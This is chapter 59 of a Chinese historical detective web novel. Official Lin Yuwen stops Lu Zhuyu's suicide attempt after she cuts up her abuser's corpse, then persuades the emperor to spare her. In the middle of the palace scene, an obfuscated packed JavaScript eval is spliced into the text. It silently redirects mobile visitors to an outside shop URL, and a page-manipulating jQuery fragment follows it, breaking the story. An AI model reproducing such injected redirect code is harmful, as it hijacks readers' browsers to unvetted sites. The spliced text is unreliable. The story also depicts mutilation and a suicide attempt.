59.
官兵们陆续上山,把这个地方慢慢地包围了起来,但是没人敢上前,因为卢珠玉仍在对那具汪一郎的尸体进行切割。
林与闻把李丽儿向后一推,她立刻跑远,直接跑向了本来在山下苦等,但因为实在担心跟着一起上山的李大人夫妇。
“爹!娘!”
李丽儿的声音嘶哑,但是不可自抑。
这两个字不只使所有人心里一动,也使卢珠玉停了动作。
她瘫倒在地,手里还握着那把猎刀,她怔怔看着李家一家人抱在一起,像是看到了什么幻象。
林与闻这时也深呼吸,抬手招呼陈嵩、黑子上前,让他们先把卢珠玉的几个孩子带走。
卢珠玉没有阻止,转过头看林与闻,“林大人,我是不是做了很大的错事。”
“没有,他应得的。”林与闻没有去看汪一郎那具血肉模糊的尸体,而是张开双手,以一种不会伤人的姿态接近卢珠玉,“到了官府,也是会这样处理他的,可能还会让他更不好过。”
“那我什么都没有做错,为什么没有人爱我呢。”
她真的太纠结这件事了。
林与闻叹了声气,“我不知道。”
“你是很好的女孩子,你对家人体贴,你在这样的环境下也能活得很好,你值得被爱的。”
林与闻盯着卢珠玉手里的刀,“你可能只是有点心急,爱你的人可能还没到,你再等等也许就有了。”
卢珠玉的眼神空洞,“可我很清楚,我已经烂掉了,我没有贞洁,也没有自杀的勇气,我还成为了帮凶,我是父亲说的那种最差劲的女人。”
“不,不,别听你父亲的,他更不知道怎么爱人,他满心只有所谓的名节,他比你还要烂,他甚至都不知道什么是爱。”
“林大人……”
“是的,为什么要跟这些不懂爱的人祈求爱呢,他们自己都不知道爱是什么样子的,”林与闻觉得有些机会了,开始矮着身子靠近卢珠玉。
黑子远远看着,心都提到喉咙眼上,小声问一边的陈嵩,“大人想做什么啊!”
“大人担心那女子自裁,所以想把刀抢下来。”陈嵩心想这么明显的事情怎么看不出来啊。
但黑子就是因为看得出来才这么着急啊,“那大人让我们上前不就行了,他怎么能抢得过来。”
虽然是实话,但也不用这样直白吧,陈嵩拍拍黑子的手,“你看那女子刚才的样子,一点动静都可能刺激到她,还是得看大人的。”
“可大人,我好像已经等不到会爱我的人了。”卢珠玉露出一个凄惨的笑容,把猎刀横在了自己颈前。
“娘!”刚刚哭着的小女孩突然喊了一声,卢珠玉的脸上僵了一下,手中的刀已经被林与闻夺走了。
林与闻拿着刀的手直颤,但是还是转过身子来,看向卢珠玉,“你看,爱你的人这不就来了吗?”
小孩子们跑向自己的娘亲,他们的爱纯粹又热烈,足可以治愈卢珠玉的后半生了。
“大人!”黑子他们也围住林与闻,“您可别这样胡来了,手都受伤了!”
林与闻不解地看着黑子,“手受伤了?”
他都没来得及痛,低下头才发现自己刚刚夺刀的时候掌心被划破了一道血痕。
“啊!”
林与闻直接晕了过去。
……
“不是,你一个刑狱官怎么还能晕血呢?”沈宏博坐在林与闻床边,看着虽然只有一道浅浅伤痕但是被裹成了猪蹄的林与闻的手。
林与闻瞪眼睛,“我不晕别人的血,我还不能晕晕自己的血啊!”
“好好,”沈宏博赶紧安抚他,“我给你找了点人参须子,给你熬成茶,补补血。”
“沈宏博,你现在怎么还抠门起来了,我受了这样重的伤,你竟然就给我点人参须子?”
“你这点伤,我要真用人参根给你进补,你还不得上火啊,”沈宏博叹一口气,“不跟你犟这个,先说正事,你真的不打算追究卢珠玉吗?”
“我救下她难道是想她死吗,”林与闻看着自己的手,“况且我一早就说了,我从不觉得她是帮凶,她只是被胁迫了。”
“但是李小姐一事,确实也是她主动拐带,这个责任是要付的。”
林与闻点头,“二哥怎么说?”
“你猜?”
林与闻不敢猜。
“这件事你交给我吧,”沈宏博拍拍林与闻的手,“我定然帮你把事情办妥帖了。”
“哦呦,沈兄怎么突然懂事了?”
“你就当是一会看袁季卿骂你的戏票吧。”
“……”林与闻张大嘴,“他回来了?”
沈宏博耸一下肩膀,踮着脚走了,他站在门口吆喝,“袁指挥使,这里这里,林与闻在这里。”
袁宇把手里的食盒放在林与闻床边,自己面色不善地坐在床边,“你打算晕到什么时候?”
林与闻翻个身子,背对着袁宇,“谁说我晕了,我就是困了。”
“手都包扎好了?”
林与闻把手别过来,“嗯。”
袁宇叹着气端着林与闻的手看了看,“你为什么不同我讲?”
林与闻的眼珠子转了转,还是冒着险问了问,“你是说假冒李小姐笔迹写那个信,还是自己一个人去找李小姐啊?”
还可以选呢?
林与闻转过身坐起来,他还来劲了,“你想想我为什么不跟你说。”
袁宇眨了眨眼睛。
“自然是每次我冒险你就像我犯了罪一样,黑着一张脸对我,”林与闻摆摆自己的手,“我明明受了伤,你却在这里兴师问罪,我也委屈着呢。”
“你……”
袁宇看着林与闻的手,“疼不疼?”
“还行吧,”林与闻在袁宇面前才轻轻呵了口气,但随即兴奋道,“我第一次夺刀,你知道吗,我可厉害了!”
“当时那个孩子一叫,卢珠玉的手就不稳了,我眼睛都亮了……”
袁宇把食盒里的鸡汤取出来,一边喂给林与闻一边看手舞足蹈地讲他的英雄事迹。
……
“你有伤,就不必行礼了。”圣上抬了下手,虽然他看林与闻那个样子,明显是故意在那装弱。
林与闻抿抿嘴,站起来,“谢圣上。”
“走过来坐下吧。”圣上又道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604800|203010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
平时无法无天的,这时候装什么谨慎呢。
林与闻找这么个点来御花园见自己,没有点蹭饭的心圣上是不信的,他让下人上了一副碗筷,“这个案子你做得不错,想朕怎么赏你。”
“臣之本分,圣上谈什么赏呢。”
“那就不赏了,你回去吧。”
“圣上……”
一旁伺候的严玉笑了笑,主动走到林与闻身边为他斟茶。
“你说吧,什么事?”
“是关于案犯卢珠玉的事情。”
“袁澄说她袭击朝廷命官,应当是真的吧,”圣上打量林与闻那个猪蹄,袁澄平时在林与闻的事上总是夸张,“伤得还是右手?”
吃饭的手呢,怪不得严重。
林与闻尴尬一笑,“也不算是她袭击的,是我夺下她自裁的猎刀,划到的。”
“你的意思是,你要给她求情?”
“嗯。”林与闻垂着脑袋。
圣上沉默了一会儿,“你的奏章我看了,她虽然有内情,但是行了帮凶之事也是真的。”
“但是圣上,这样就像如果女子不能全力反抗致死,或是事后自杀,就不得定奸一罪一样,”林与闻道,“很多时候,女子这种不得已是出于自保的本能啊。”
“臣以为,就算她有罪也实在不该像袁尚书说的那样——”
袁澄那张奏章里快要给卢珠玉定凌迟了,林与闻理解他的想法,汪一郎死了,这个案子必须得有人承担,且必须得从严处置才能有警告后人的效果。
“那你是什么想法?”
林与闻眼珠子转了转,“臣觉得,应当把汪一郎的碎尸拼在一起,挂在城墙上以警世人。”
“……”圣上原以为林与闻是个很心软的人,每年秋审他都会上折要少杀慎杀。
“他罪大恶极,如此做呢,可以让那些有意犯罪的人明白,只要行差踏错一步,律法就不会放过他们,哪怕他们死了,灵魂也得为之赎罪,”但话又说回来,“而卢珠玉呢,她是受胁迫犯罪,可以找一处庵堂把她囚禁起来,让她反思己过。”
这话听着怎么这么耳熟呢。
“效仿圣上对康乐侯的做法。”
这等着呢。
林与闻眼睛闪闪地看着圣上,“臣以为,圣上此法既能显示仁心,又可以让天下女子不必为贞洁所累,只要敢反抗,哪怕是把人杀了,官府也会酌情轻判的。”
“哪有庵堂敢收留下这样的恶女呢?”
“顺天府沈大人已经找到了,”林与闻笑嘻嘻,“而且她们还愿意将卢珠玉的孩子一同留下,”他双手合十,多虔诚似的,“佛法慈悲啊你说呢圣上。”
朕还有什么可说的,这不都安排得明明白白了吗?
“按你说的做吧。”
“圣上英明!”林与闻咧着嘴又要跪,圣上朝严玉使了个眼色,严玉连忙去扶林与闻,“大人,你有伤在身,圣上免了你的礼的。”
诶呀,这点伤可是省大事了。
既然这样,林与闻心里忽升一计,“圣上刚才是说要赏我的吧?”
“嗯?”
“那圣上您答应我一件事情好不好?”